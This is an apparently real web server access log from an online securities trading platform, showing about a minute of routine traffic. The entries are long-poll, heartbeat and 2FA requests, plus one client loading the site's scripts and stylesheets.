[09/Jan/2026:11:12:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928621965 HTTP/1.1" -
[09/Jan/2026:11:12:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928635224 HTTP/1.1" -
[09/Jan/2026:11:12:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928623494 HTTP/1.1" -
[09/Jan/2026:11:12:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat2FAService HTTP/1.1" 1
[09/Jan/2026:11:12:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Resend2FAService HTTP/1.1" -
[09/Jan/2026:11:12:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928627105 HTTP/1.1" -
[09/Jan/2026:11:12:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928641234 HTTP/1.1" -
[09/Jan/2026:11:12:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928628537 HTTP/1.1" -
[09/Jan/2026:11:12:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:12:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:12:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:12:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:12:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928632225 HTTP/1.1" -
[09/Jan/2026:11:12:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928647236 HTTP/1.1" -
[09/Jan/2026:11:12:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928633567 HTTP/1.1" -
[09/Jan/2026:11:12:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928637345 HTTP/1.1" -
[09/Jan/2026:11:12:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:12:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:12:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:12:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:12:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:12:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:12:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928638585 HTTP/1.1" -
[09/Jan/2026:11:12:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928653235 HTTP/1.1" -
[09/Jan/2026:11:12:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928642496 HTTP/1.1" -
[09/Jan/2026:11:12:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928643609 HTTP/1.1" -
[09/Jan/2026:11:12:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928659233 HTTP/1.1" -
[09/Jan/2026:11:12:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928647562 HTTP/1.1" -
[09/Jan/2026:11:12:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:12:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:12:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928648642 HTTP/1.1" -
[09/Jan/2026:11:13:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928652619 HTTP/1.1" -
[09/Jan/2026:11:13:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928665223 HTTP/1.1" -
[09/Jan/2026:11:13:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat2FAService HTTP/1.1" 1
[09/Jan/2026:11:13:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928653669 HTTP/1.1" -
[09/Jan/2026:11:13:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928657764 HTTP/1.1" -
[09/Jan/2026:11:13:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928671231 HTTP/1.1" -
[09/Jan/2026:11:13:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928658703 HTTP/1.1" -
[09/Jan/2026:11:13:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928662903 HTTP/1.1" -
[09/Jan/2026:11:13:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928677230 HTTP/1.1" -
[09/Jan/2026:11:13:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928663720 HTTP/1.1" -
[09/Jan/2026:11:13:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928668045 HTTP/1.1" -
[09/Jan/2026:11:13:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:13:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 426
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
